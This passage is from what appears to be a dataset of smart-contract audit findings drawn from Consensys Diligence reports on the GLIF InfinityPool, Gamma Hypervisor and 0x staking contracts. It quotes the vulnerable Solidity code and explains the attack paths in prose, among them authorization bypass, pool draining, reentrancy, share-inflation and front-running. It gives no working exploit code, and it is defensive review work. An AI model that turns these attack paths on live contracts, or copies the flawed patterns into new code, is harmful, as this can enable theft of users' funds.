IStakingEvents, MixinStorage setParams External onlyAuthorized getParams External NO _initMixinParams Internal \ud83d\udd12 _assertParamsNotInitialized Internal \ud83d\udd12 _setParams Private \ud83d\udd10 MixinScheduler Implementation IStakingEvents, MixinStorage getCurrentEpochEarliestEndTimeInSeconds Public NO _initMixinScheduler Internal \ud83d\udd12 _goToNextEpoch Internal \ud83d\udd12 _assertSchedulerNotInitialized Internal \ud83d\udd12 Legend Function can modify state Function is payable ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/10/0x-v3-staking/"}, {"title": "5.1 InfinityPool Contract Authorization Bypass Attack ", "body": " Resolution Addressed by not allowing the Description An attacker could create their own credential and set the Agent ID to 0, which would bypass the subjectIsAgentCaller modifier. The attacker could use this attack to borrow funds from the pool, draining any available liquidity. For example, only an Agent should be able to borrow funds from the pool and call the borrow function: src/Pool/InfinityPool.sol:L302-L325 function borrow(VerifiableCredential memory vc) external isOpen subjectIsAgentCaller(vc) { // 1e18 => 1 FIL, can't borrow less than 1 FIL if (vc.value < WAD) revert InvalidParams(); // can't borrow more than the pool has if (totalBorrowableAssets() < vc.value) revert InsufficientLiquidity(); Account memory account = _getAccount(vc.subject); // fresh account, set start epoch and epochsPaid to beginning of current window if (account.principal == 0) { uint256 currentEpoch = block.number; account.startEpoch = currentEpoch; account.epochsPaid = currentEpoch; GetRoute.agentPolice(router).addPoolToList(vc.subject, id); account.principal += vc.value; account.save(router, vc.subject, id); totalBorrowed += vc.value; emit Borrow(vc.subject, vc.value); // interact - here `msg.sender` must be the Agent bc of the `subjectIsAgentCaller` modifier asset.transfer(msg.sender, vc.value); The following modifier checks that the caller is an Agent: src/Pool/InfinityPool.sol:L96-L101 modifier subjectIsAgentCaller(VerifiableCredential memory vc) { if ( GetRoute.agentFactory(router).agents(msg.sender) != vc.subject ) revert Unauthorized(); _; Recommendation Ensure only an Agent can call borrow and pass the subjectIsAgentCaller modifier. ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/04/glif-filecoin-infinitypool/"}, {"title": "5.2 Agent Data Oracle Signed Credential Front-Running Attack ", "body": " Resolution Mitigated by allowing only the Description Recommendation Ensure an Agent can always have new credentials that are needed. One solution would be to allow only an Agent s owner to request the credentials. The problem is that the beneficiary is also supposed to do that, but the beneficiary may also be a contract. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/04/glif-filecoin-infinitypool/"}, {"title": "5.3 Wrong Accounting for totalBorrowed in the InfinityPool.writeOff Function ", "body": " Resolution Fixed. Description Here is a part of the InfinityPool.writeOff function: src/Pool/InfinityPool.sol:L271-L287 // transfer the assets into the pool // whatever we couldn't pay back uint256 lostAmt = principalOwed > recoveredFunds ? principalOwed - recoveredFunds : 0; uint256 totalOwed = interestPaid + principalOwed; asset.transferFrom( msg.sender, address(this), totalOwed > recoveredFunds ? recoveredFunds : totalOwed ); // write off only what we lost totalBorrowed -= lostAmt; // set the account with the funds the pool lost account.principal = lostAmt; account.save(router, agentID, id); The totalBorrowed is decreased by the lostAmt value. Instead, it should be decreased by the original account.principal value to acknowledge the loss. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/04/glif-filecoin-infinitypool/"}, {"title": "5.4 Wrong Accounting for totalBorrowed in the InfinityPool.pay Function ", "body": " Resolution Addressed as recommended in two pull rquests: 1, 2. Description If the Agent pays more than the current interest debt, the remaining payment will be accounted as repayment of the principal debt: src/Pool/InfinityPool.sol:L382-L401 // pay interest and principal principalPaid = vc.value - interestOwed; // the fee basis only applies to the interest payment feeBasis = interestOwed; // protect against underflow totalBorrowed -= (principalPaid > totalBorrowed) ? 0 : principalPaid; // fully paid off if (principalPaid >= account.principal) { // remove the account from the pool's list of accounts GetRoute.agentPolice(router).removePoolFromList(vc.subject, id); // return the amount of funds overpaid refund = principalPaid - account.principal; // reset the account account.reset(); } else { // interest and partial principal payment account.principal -= principalPaid; // move the `epochsPaid` cursor to mark the account as \"current\" account.epochsPaid = block.number; Let s focus on the totalBorrowed changes: src/Pool/InfinityPool.sol:L387 totalBorrowed -= (principalPaid > totalBorrowed) ? 0 : principalPaid; This value is supposed to be decreased by the principal that is repaid. So there are 2 mistakes in the calculation: Should be totalBorrowed instead of 0. The principalPaid cannot be larger than the account.principal in that calculation. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/04/glif-filecoin-infinitypool/"}, {"title": "5.5 The beneficiaryWithdrawable Function Can Be Called by Anyone ", "body": " Resolution Fixed by removing beneficiary logic completely. Description The beneficiaryWithdrawable function is supposed to be called by the Agent when a beneficiary is trying to withdraw funds: src/Agent/AgentPolice.sol:L320-L341 function beneficiaryWithdrawable( address recipient, address sender, uint256 agentID, uint256 proposedAmount ) external returns ( uint256 amount ) { AgentBeneficiary memory beneficiary = _agentBeneficiaries[agentID]; address benneficiaryAddress = beneficiary.active.beneficiary; // If the sender is not the owner of the Agent or the beneficiary, revert if( !(benneficiaryAddress == sender || (IAuth(msg.sender).owner() == sender && recipient == benneficiaryAddress) )) { revert Unauthorized(); beneficiary, amount ) = beneficiary.withdraw(proposedAmount); // update the beneficiary in storage _agentBeneficiaries[agentID] = beneficiary; This function reduces the quota that is supposed to be transferred during the withdraw call: src/Agent/Agent.sol:L343-L352 sendAmount = agentPolice.beneficiaryWithdrawable(receiver, msg.sender, id, sendAmount); else if (msg.sender != owner()) { revert Unauthorized(); // unwrap any wfil needed to withdraw _poolFundsInFIL(sendAmount); // transfer funds payable(receiver).sendValue(sendAmount); The issue is that anyone can call this function directly, and the quota will be reduced without funds being transferred. Recommendation Ensure only the Agent can call this function. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/04/glif-filecoin-infinitypool/"}, {"title": "5.6 An Agent Can Borrow Even With Existing Debt in Interest Payments ", "body": " Resolution Mitigated by adding a limit to the remaining interest debt when borrowing. So an agent should have an interest debt that is no larger than 1 day. Description To borrow funds, an Agent has to call the borrow function of the pool: src/Pool/InfinityPool.sol:L302-L325 function borrow(VerifiableCredential memory vc) external isOpen subjectIsAgentCaller(vc) { // 1e18 => 1 FIL, can't borrow less than 1 FIL if (vc.value < WAD) revert InvalidParams(); // can't borrow more than the pool has if (totalBorrowableAssets() < vc.value) revert InsufficientLiquidity(); Account memory account = _getAccount(vc.subject); // fresh account, set start epoch and epochsPaid to beginning of current window if (account.principal == 0) { uint256 currentEpoch = block.number; account.startEpoch = currentEpoch; account.epochsPaid = currentEpoch; GetRoute.agentPolice(router).addPoolToList(vc.subject, id); account.principal += vc.value; account.save(router, vc.subject, id); totalBorrowed += vc.value; emit Borrow(vc.subject, vc.value); // interact - here `msg.sender` must be the Agent bc of the `subjectIsAgentCaller` modifier asset.transfer(msg.sender, vc.value); Let s assume that the Agent already had some funds borrowed. During this function execution, the current debt status is not checked. The principal debt increases after borrowing, but account.epochsPaid remains the same. So the pending debt will instantly increase as if the borrowing happened on account.epochsPaid. Recommendation Ensure the debt is paid when borrowing more funds. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/04/glif-filecoin-infinitypool/"}, {"title": "5.7 The AgentPolice.distributeLiquidatedFunds() Function Can Have Undistributed Residual Funds ", "body": " Resolution Mitigated by returning the excess funds in Description When an Agent is liquidated, the liquidator (owner of the protocol) is supposed to try to redeem as many funds as possible and re-distribute them to the pools: src/Agent/AgentPolice.sol:L185-L191 function distributeLiquidatedFunds(uint256 agentID, uint256 amount) external { if (!liquidated[agentID]) revert Unauthorized(); // transfer the assets into the pool GetRoute.wFIL(router).transferFrom(msg.sender, address(this), amount); _writeOffPools(agentID, amount); The problem is that in the pool, it s accounted that the amount of funds can be larger than the debt. In that case, the pool won t transfer more funds than the pool needs: src/Pool/InfinityPool.sol:L275-L289 uint256 totalOwed = interestPaid + principalOwed; asset.transferFrom( msg.sender, address(this), totalOwed > recoveredFunds ? recoveredFunds : totalOwed ); // write off only what we lost totalBorrowed -= lostAmt; // set the account with the funds the pool lost account.principal = lostAmt; account.save(router, agentID, id); emit WriteOff(agentID, recoveredFunds, lostAmt, interestPaid); If that happens, the remaining funds will be stuck in the AgentPolice contract. Recommendation Return the residual funds to the Agent s owner or process them in some way so they are not lost. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/04/glif-filecoin-infinitypool/"}, {"title": "5.8 An Agent Can Be Upgraded Even if There Is No New Implementation ", "body": " Resolution Mitigated by introducing a new version control mechanism. This solution also adds centralized power. The owner can create a new deployer with an arbitrary (even lower) version number, while agents can only upgrade to a higher version. Also, agents are forced to upgrade to a new version in another pull request. Description Agents can be upgraded to a new implementation, and only the Agent s owner can call the upgrade function: src/Agent/AgentFactory.sol:L51-L72 function upgradeAgent( address agent ) external returns (address newAgent) { IAgent oldAgent = IAgent(agent); address owner = IAuth(address(oldAgent)).owner(); uint256 agentId = agents[agent]; // only the Agent's owner can upgrade, and only a registered agent can be upgraded if (owner != msg.sender || agentId == 0) revert Unauthorized(); // deploy a new instance of Agent with the same ID and auth newAgent = GetRoute.agentDeployer(router).deploy( router, agentId, owner, IAuth(address(oldAgent)).operator() ); // Register the new agent and unregister the old agent agents[newAgent] = agentId; // transfer funds from old agent to new agent and mark old agent as decommissioning oldAgent.decommissionAgent(newAgent); // delete the old agent from the registry agents[agent] = 0; The issue is that the owner can trigger the upgrade even if no new implementation exists. Multiple possible problems derive from it. Upgrading to the current implementation of the Agent will break the logic because the current version is not calling the migrateMiner function, so all the miners will stay with the old Agent, and their funds will be lost. The owner can accidentally trigger multiple upgrades simultaneously, leading to a loss of funds (https://github.com/ConsenSysDiligence/glif-audit-2023-04/issues/2). The owner also has no control over the new version of the Agent. To increase decentralization, it s better to pass the deployer s address as a parameter additionally. Recommendation Ensure the upgrades can only happen when there is a new version of an Agent, and the owner controls this version. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/04/glif-filecoin-infinitypool/"}, {"title": "5.9 Potential Re-Entrancy Issues When Upgrading the Contracts ", "body": " Resolution The issue is mitigated by removing the old agent before the potential re-entrancy. Description The protocol doesn t have any built-in re-entrancy protection mechanisms. That mainly explains by using the wFIL token, which is not supposed to give that opportunity. And also by carefully using FIL transfers. However, there are some places in the code where things may go wrong in the future. For example, when upgrading an Agent: src/Agent/AgentFactory.sol:L51-L72 function upgradeAgent( address agent ) external returns (address newAgent) { IAgent oldAgent = IAgent(agent); address owner = IAuth(address(oldAgent)).owner(); uint256 agentId = agents[agent]; // only the Agent's owner can upgrade, and only a registered agent can be upgraded if (owner != msg.sender || agentId == 0) revert Unauthorized(); // deploy a new instance of Agent with the same ID and auth newAgent = GetRoute.agentDeployer(router).deploy( router, agentId, owner, IAuth(address(oldAgent)).operator() ); // Register the new agent and unregister the old agent agents[newAgent] = agentId; // transfer funds from old agent to new agent and mark old agent as decommissioning oldAgent.decommissionAgent(newAgent); // delete the old agent from the registry agents[agent] = 0; Here, we see the oldAgent.decommissionAgent(newAgent); call happens before the oldAgent is deleted. Inside this function, we see: src/Agent/Agent.sol:L200-L212 function decommissionAgent(address _newAgent) external { // only the agent factory can decommission an agent AuthController.onlyAgentFactory(router, msg.sender); // if the newAgent has a mismatching ID, revert if(IAgent(_newAgent).id() != id) revert Unauthorized(); // set the newAgent in storage, which marks the upgrade process as starting newAgent = _newAgent; uint256 _liquidAssets = liquidAssets(); // Withdraw all liquid funds from the Agent to the newAgent _poolFundsInFIL(_liquidAssets); // transfer funds to new agent payable(_newAgent).sendValue(_liquidAssets); Here, the FIL is transferred to a new contract which is currently unimplemented and unknown. Potentially, the fallback function of this contract could trigger a re-entrancy attack. If that s the case, during the execution of this function, there will be two contracts that are active agents with the same ID, and the attacker can try to use that maliciously. Recommendation Be very cautious with further implementations of agents and pools. Also, consider using reentrancy protection in public functions. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/04/glif-filecoin-infinitypool/"}, {"title": "5.10 InfinityPool Is Subject to a Donation With Inflation Attack if Emtied. ", "body": " Resolution this issue will not be fixed in the current version of the contracts since some of the shares were already minted. The next iteration of the pool will have a more generic fix to this issue. Description Since InfinityPool is an implementation of the ERC4626 vault, it is too susceptible to inflation attacks. An attacker could front-run the first deposit and inflate the share price to an extent where the following deposit will be less than the value of 1 wei of share resulting in 0 shares minted. The attacker could conduct the inflation by means of self-destructing of another contract. In the case of GLIF this attack is less likely on the first pool since GLIF team accepts predeposits so some amount of shares was already minted. We do suggest fixing this issue before the next pool is deployed and no pre-stake is generated. Examples src/Pool/InfinityPool.sol:L491-L516 /*////////////////////////////////////////////////////////////// 4626 LOGIC //////////////////////////////////////////////////////////////*/ /** @dev Converts `assets` to shares @param assets The amount of assets to convert @return shares - The amount of shares converted from assets / function convertToShares(uint256 assets) public view returns (uint256) { uint256 supply = liquidStakingToken.totalSupply(); // Saves an extra SLOAD if totalSupply is non-zero. return supply == 0 ? assets : assets * supply / totalAssets(); /** @dev Converts `shares` to assets @param shares The amount of shares to convert @return assets - The amount of assets converted from shares / function convertToAssets(uint256 shares) public view returns (uint256) { uint256 supply = liquidStakingToken.totalSupply(); // Saves an extra SLOAD if totalSupply is non-zero. return supply == 0 ? shares : shares * totalAssets() / supply; Recommendation Since the pool does not need to accept donations, the easiest way to handle this case is to use virtual price, where the balance of the contract is duplicated in a separate variable. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/04/glif-filecoin-infinitypool/"}, {"title": "5.11 MaxWithdraw Should Potentially Account for the Funds Available in the Ramp. ", "body": " Resolution Partially fixed in https://github.com/glif-confidential/pools/issues/462 but the ramp balance is still not accounted for. Description Since InfinityPool is ERC4626 it should also support the MaxWithdraw method. According to the EIP it should include any withdrawal limitation that the participant could encounter. At the moment the MaxWithdraw function returns the maximum amount of IOU tokens rather than WFIL. Since IOU token is not the asset token of the vault, this behavior is not ideal. Examples src/Pool/InfinityPool.sol:L569-L571 function maxWithdraw(address owner) public view returns (uint256) { return convertToAssets(liquidStakingToken.balanceOf(owner)); Recommendation We suggest considering returning the maximum amount of WFIL withdrawal which should account for Ramp balance. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/04/glif-filecoin-infinitypool/"}, {"title": "5.12 The Upgradeability of MinerRegistry, AgentPolice, and Agent Is Overcomplicated and Has a Hight Chance of Errors. ", "body": " Description During the engagement, we have identified a few places that signify that the Agent, MinerRegistry and AgentPolice can be upgraded, for example: Ability to migrate the miner from one version of the Agent to another inside the migrateMiner. Ability to refreshRoutes that would update the AgentPolice and MinerRegistry addresses for a given Agent. Ability to decommission pool. We believe that this functionality is present it is not very well thought through. For example, both MinerRegistry and AgentPolice are not upgradable but have mappings inside of them. src/Agent/AgentPolice.sol:L51-L60 mapping(uint256 => bool) public liquidated; /// @notice `_poolIDs` maps agentID to the pools they have actively borrowed from mapping(uint256 => uint256[]) private _poolIDs; /// @notice `_credentialUseBlock` maps signature bytes to when a credential was used mapping(bytes32 => uint256) private _credentialUseBlock; /// @notice `_agentBeneficiaries` maps an Agent ID to its Beneficiary struct mapping(uint256 => AgentBeneficiary) private _agentBeneficiaries; src/Agent/MinerRegistry.sol:L18-L20 mapping(bytes32 => bool) private _minerRegistered; mapping(uint256 => uint64[]) private _minersByAgent; That means that any time these contracts would need to be upgraded, the contents of those mappings will need to be somehow recreated in the new contract. That is not trivial since it is not easy to obtain all values of a mapping. This will also require an additional protocol-controlled setter ala kickstart mapping functions that are not ideal. In the case of Agent if the contract was upgradable there would be no need for a process of migrating miners that can be tedious and opens possibilities for errors. Since protocol has a lot of centralization and trust assumptions already, having upgradability will not contribute to it a lot. We also believe that during the upgrade of the pool, the PoolToken will stay the same in the new pool. That means that the minting and burning permissions of the share tokens have to be carefully updated or checked in a manner that does not require the address of the pool to be constant. Since we did not have access to this file, we can not check if that is done correctly. Recommendation Consider using upgradable contracts or have a solid upgrade plan that is well-tested before an emergency situation occurs. ", "labels": ["Consensys", "Minor", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2023/04/glif-filecoin-infinitypool/"}, {"title": "5.13 Mint Function in the Infinity Pool Will Emit the Incorrect Value. ", "body": " Resolution Fixed by emitting the right value. Description Examples src/Pool/InfinityPool.sol:L449-L457 function mint(uint256 shares, address receiver) public isOpen returns (uint256 assets) { if(shares == 0) revert InvalidParams(); // These transfers need to happen before the mint, and this is forcing a higher degree of coupling than is ideal assets = previewMint(shares); asset.transferFrom(msg.sender, address(this), assets); liquidStakingToken.mint(receiver, shares); assets = convertToAssets(shares); emit Deposit(msg.sender, receiver, assets, shares); Recommendation Use the assets value computed by the previewMint when emitting the event. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/04/glif-filecoin-infinitypool/"}, {"title": "5.14 Incorrect Operator Used ", "body": " Resolution Fixed. Description Minor typo in the InfinityPool where the -= should be replaced with -. Examples src/Pool/InfinityPool.sol:L200 return balance -= feesCollected; ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/04/glif-filecoin-infinitypool/"}, {"title": "5.15 Potential Overpayment Due to Rounding Imprecision ", "body": " Resolution The issue is acknowledged and the potential loss is considered tolerable. Description Inside the InifintyPool the pay function might accept unaccounted files. Imagine a situation where an Agent is trying to repay only the fees portion of the debt. In that case, the following branch will be executed: src/Pool/InfinityPool.sol:L373-L381 if (vc.value <= interestOwed) { // compute the amount of epochs this payment covers // vc.value is not WAD yet, so divWadDown cancels the extra WAD in interestPerEpoch uint256 epochsForward = vc.value.divWadDown(interestPerEpoch); // update the account's `epochsPaid` cursor account.epochsPaid += epochsForward; // since the entire payment is interest, the entire payment is used to compute the fee (principal payments are fee-free) feeBasis = vc.value; } else { The issue is if the value does not divide by the interestPerEpoch exactly, any remainder will remain in the InfinityPool. src/Pool/InfinityPool.sol:L376 uint256 epochsForward = vc.value.divWadDown(interestPerEpoch); Recommendation Since the remainder will most likely not be too large this is not critical, but ideally, those remaining funds would be included in the refund variable. ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2023/04/glif-filecoin-infinitypool/"}, {"title": "5.16 jumpStartAccount Should Be Subject to the Same Approval Checks as Regular Borrow. ", "body": " Resolution Will not be fixed due to the complexity of the fix which will require passing verified credentials to be executed. Description InfinityPool contract has the ability to kick start an account that will have a debt position in this pool. Examples src/Pool/InfinityPool.sol:L673-L689 function jumpStartAccount(address receiver, uint256 agentID, uint256 accountPrincipal) external onlyOwner { Account memory account = _getAccount(agentID); // if the account is already initialized, revert if (account.principal != 0) revert InvalidState(); // create the account account.principal = accountPrincipal; account.startEpoch = block.number; account.epochsPaid = block.number; // save the account account.save(router, agentID, id); // add the pool to the agent's list of borrowed pools GetRoute.agentPolice(router).addPoolToList(agentID, id); // mint the iFIL to the receiver, using principal as the deposit amount liquidStakingToken.mint(receiver, convertToShares(accountPrincipal)); // account for the new principal in the total borrowed of the pool totalBorrowed += accountPrincipal; Recommendation We suggest that this action is subject to the same rules as the standard borrow action. Thus checks on DTE, LTV and DTI should be done if possible. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/04/glif-filecoin-infinitypool/"}, {"title": "5.17 No Miner Migration Is Happening in the Current Implementation of the Agent ", "body": " Description All miners should be transferred from the old Agent to a new one when upgrading an Agent. To do so, the new Agent is supposed to call the migrateMiner function for every miner: src/Agent/Agent.sol:L219-L235 function migrateMiner(uint64 miner) external { if (newAgent != msg.sender) revert Unauthorized(); uint256 newId = IAgent(newAgent).id(); if ( // first check to make sure the agentFactory knows about this \"agent\" GetRoute.agentFactory(router).agents(newAgent) != newId || // then make sure this is the same agent, just upgraded newId != id || // check to ensure this miner was registered to the original agent !minerRegistry.minerRegistered(id, miner) ) revert Unauthorized(); // propose an ownership change (must be accepted in v2 agent) miner.changeOwnerAddress(newAgent); emit MigrateMiner(msg.sender, newAgent, miner); The problem is that this function is not called in the current Agent implementation. Since it s just the first version of an Agent contract, it s not a big issue. There is only one edge case where this may be a vulnerability. That may happen if the owner of an Agent decides to upgrade the contract to the same version. It is possible to do, and in that case, the miners funds will be lost. Recommendation It s important to remember to call migrateMiner in a new version and not allow upgrading to the same implementation. ", "labels": ["Consensys", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2023/04/glif-filecoin-infinitypool/"}, {"title": "3.1 The Hypervisor.deposit function does not check the msg.sender ", "body": " Resolution Partially fixed in GammaStrategies/hypervisor@9a7a3dd, by allowing only Description Hypervisor.deposit pulls pre-approved ERC20 tokens from the from address to the contract. Later it mints shares to the to address. Attackers can determine both the from and to addresses as they wish, and thus steal shares (that can be redeemed to tokens immediately) from users that pre-approved the contract to spend ERC20 tokens on their behalf. Recommendation As described in issue 3.5, we recommend restricting access to this function only for UniProxy. Moreover, the UniProxy contract should validate that from == msg.sender. ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/02/gamma/"}, {"title": "3.2 UniProxy.depositSwap - Tokens are not approved before calling Router.exactInput ", "body": " Resolution Fixed in GammaStrategies/hypervisor@9a7a3dd by deleting the Description the call to Router.exactInputrequires the sender to pre-approve the tokens. We could not find any reference for that, thus we assume that a call to UniProxy.depositSwap will always revert. Examples code/contracts/UniProxy.sol:L202-L234 router = ISwapRouter(_router); uint256 amountOut; uint256 swap; if(swapAmount < 0) { //swap token1 for token0 swap = uint256(swapAmount * -1); IHypervisor(pos).token1().transferFrom(msg.sender, address(this), deposit1+swap); amountOut = router.exactInput( ISwapRouter.ExactInputParams( path, address(this), block.timestamp + swapLife, swap, deposit0 ); else{ //swap token1 for token0 swap = uint256(swapAmount); IHypervisor(pos).token0().transferFrom(msg.sender, address(this), deposit0+swap); amountOut = router.exactInput( ISwapRouter.ExactInputParams( path, address(this), block.timestamp + swapLife, swap, deposit1 ); Recommendation Consider approving the exact amount of input tokens before the swap. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/02/gamma/"}, {"title": "3.3 Uniproxy.depositSwap - _router should not be determined by the caller ", "body": " Resolution Fixed in GammaStrategies/hypervisor@9a7a3dd by deleting the Description Uniproxy.depositSwap uses _router that is determined by the caller, which in turn might inject a fake contract, and thus may steal funds stuck in the UniProxy contract. The UniProxy contract has certain trust assumptions regarding the router. The router is supposed to return not less than deposit1(or deposit0) amount of tokens but that fact is never checked. Examples code/contracts/UniProxy.sol:L168-L177 function depositSwap( int256 swapAmount, // (-) token1, (+) token0 for token1; amount to swap uint256 deposit0, uint256 deposit1, address to, address from, bytes memory path, address pos, address _router ) external returns (uint256 shares) { Recommendation Consider removing the _router parameter from the function, and instead, use a storage variable that will be initialized in the constructor. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/02/gamma/"}, {"title": "3.4 Re-entrancy + flash loan attack can invalidate price check ", "body": " Resolution Fixed in GammaStrategies/hypervisor@9a7a3dd by implementing the auditor s recommendation. Description The UniProxy contract has a price manipulation protection: code/contracts/UniProxy.sol:L75-L82 if (twapCheck || positions[pos].twapOverride) { // check twap checkPriceChange( pos, (positions[pos].twapOverride ? positions[pos].twapInterval : twapInterval), (positions[pos].twapOverride ? positions[pos].priceThreshold : priceThreshold) ); But after that, the tokens are transferred from the user, if the token transfer allows an attacker to hijack the call-flow of the transaction inside, the attacker can manipulate the Uniswap price there, after the check happened. The Hypervisor s deposit function itself is vulnerable to the flash-loan attack. Recommendation Make sure the price does not change before the Hypervisor.deposit call. For example, the token transfers can be made at the beginning of the UniProxy.deposit function. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/02/gamma/"}, {"title": "3.5 The deposit function of the Hypervisor contract should only be called from UniProxy ", "body": " Resolution Partially fixed in GammaStrategies/hypervisor@9a7a3dd, by allowing only Description The deposit function is designed to be called only from the UniProxy contract, but everyone can call it. This function does not have any protection against price manipulation in the Uniswap pair. A deposit can be frontrunned, and the depositor s funds may be stolen . Recommendation Make sure only UniProxy can call the deposit function. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/02/gamma/"}, {"title": "3.6 UniProxy.properDepositRatio - Proper ratio will not prevent liquidity imbalance for all possible scenarios ", "body": " Resolution Fixed in GammaStrategies/hypervisor@9a7a3dd by deleting the Description Examples code/contracts/UniProxy.sol:L258-L275 function properDepositRatio( address pos, uint256 deposit0, uint256 deposit1 ) public view returns (bool) { (uint256 hype0, uint256 hype1) = IHypervisor(pos).getTotalAmounts(); if (IHypervisor(pos).totalSupply() != 0) { uint256 depositRatio = deposit0 == 0 ? 10e18 : deposit1.mul(1e18).div(deposit0); depositRatio = depositRatio > 10e18 ? 10e18 : depositRatio; depositRatio = depositRatio < 10e16 ? 10e16 : depositRatio; uint256 hypeRatio = hype0 == 0 ? 10e18 : hype1.mul(1e18).div(hype0); hypeRatio = hypeRatio > 10e18 ? 10e18 : hypeRatio; hypeRatio = hypeRatio < 10e16 ? 10e16 : hypeRatio; return (FullMath.mulDiv(depositRatio, deltaScale, hypeRatio) < depositDelta && FullMath.mulDiv(hypeRatio, deltaScale, depositRatio) < depositDelta); return true; Recommendation Consider removing the cap of [0.1,10] both for depositRatio and for hypeRatio. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/02/gamma/"}, {"title": "3.7 UniProxy - SafeERC20 is declared but safe functions are not used ", "body": " Resolution fixed in GammaStrategies/hypervisor@9a7a3dd by implementing the auditor s recommendation. Description The UniProxy contract declares the usage of the SafeERC20 library for functions of the IERC20 type. However, unsafe functions are used instead of safe ones. Examples Usage of approve instead of safeApprove Usage of transferFrom instead of safeTransferFrom. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/02/gamma/"}, {"title": "3.8 Missing/wrong implementation ", "body": " Resolution Fixed in GammaStrategies/hypervisor@9a7a3dd by introducing two new functions: toggleDepositOverride, setPriceThresholdPos. Fixed in GammaStrategies/hypervisor@9a7a3dd by keeping only the version of deposit function with 4 parameters. Fixed in GammaStrategies/hypervisor@9a7a3dd by removing the unreachable code. Examples The UniProxy contract has different functions used for setting the properties of a position. However, Position.priceThreshold, and Position.depositOverride are never assigned to, even though they are being used. UniProxy.deposit is calling IHypervisor.deposit multiple times with different function signatures (3 and 4 parameters), while the Hypervisor contract only implements the version with 4 parameters, and does not implement the IHypervisor interface. Hypervisor.uniswapV3MintCallback | uniswapV3SwapCallback - both these functions contain unreachable code, namely the case where payer != address(this). Recommendations Consider adding functions to set these properties, or alternatively, a single function to set the properties of a position. Consider supporting a single deposit function for IHypervisor, and make sure that the actual implementation adheres to this interface. Consider deleting these lines. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/02/gamma/"}, {"title": "3.9 Hypervisor.withdraw - Possible reentrancy ", "body": " Resolution Fixed in GammaStrategies/hypervisor@9a7a3dd by implementing the auditor s recommendation. Description Recommendation Consider adding a ReentrancyGuard both to Hypervisor.withdraw and Hypervisor.deposit ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/02/gamma/"}, {"title": "3.10 UniProxy.depositSwap doesn t deposit all the users funds ", "body": " Resolution Fixed in GammaStrategies/hypervisor@9a7a3dd by deleting the Description When executing the swap, the minimal amount out is passed to the router (deposit1 in this example), but the actual swap amount will be amountOut. But after the trade, instead of depositing amountOut, the contract tries to deposit deposit1, which is lower. This may result in some users funds staying in the UniProxy contract. code/contracts/UniProxy.sol:L220-L242 else{ //swap token1 for token0 swap = uint256(swapAmount); IHypervisor(pos).token0().transferFrom(msg.sender, address(this), deposit0+swap); amountOut = router.exactInput( ISwapRouter.ExactInputParams( path, address(this), block.timestamp + swapLife, swap, deposit1 ); require(amountOut > 0, \"Swap failed\"); if (positions[pos].version < 2) { // requires lp token transfer from proxy to msg.sender shares = IHypervisor(pos).deposit(deposit0, deposit1, address(this)); IHypervisor(pos).transfer(to, shares); Recommendation Deposit all the user s funds to the Hypervisor. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/02/gamma/"}, {"title": "3.11 Hypervisor - Multiple sandwiching front running vectors ", "body": " Resolution Fixed in GammaStrategies/hypervisor@9a7a3dd by removing the call to Description The amount of tokens received from UniswapV3Pool functions might be manipulated by front-runners due to the decentralized nature of AMMs, where the order of transactions can not be pre-determined. A potential sandwicher may insert a buying order before the user s call to Hypervisor.rebalance for instance, and a sell order after. More specifically, calls to pool.swap, pool.mint, pool.burn are susceptible to sandwiching vectors. Examples Hypervisor.rebalance code/contracts/Hypervisor.sol:L278-L286 if (swapQuantity != 0) { pool.swap( address(this), swapQuantity > 0, swapQuantity > 0 ? swapQuantity : -swapQuantity, swapQuantity > 0 ? TickMath.MIN_SQRT_RATIO + 1 : TickMath.MAX_SQRT_RATIO - 1, abi.encode(address(this)) ); code/contracts/Hypervisor.sol:L348-L363 function _mintLiquidity( int24 tickLower, int24 tickUpper, uint128 liquidity, address payer ) internal returns (uint256 amount0, uint256 amount1) { if (liquidity > 0) { (amount0, amount1) = pool.mint( address(this), tickLower, tickUpper, liquidity, abi.encode(payer) ); code/contracts/Hypervisor.sol:L365-L383 function _burnLiquidity( int24 tickLower, int24 tickUpper, uint128 liquidity, address to, bool collectAll ) internal returns (uint256 amount0, uint256 amount1) { if (liquidity > 0) { // Burn liquidity (uint256 owed0, uint256 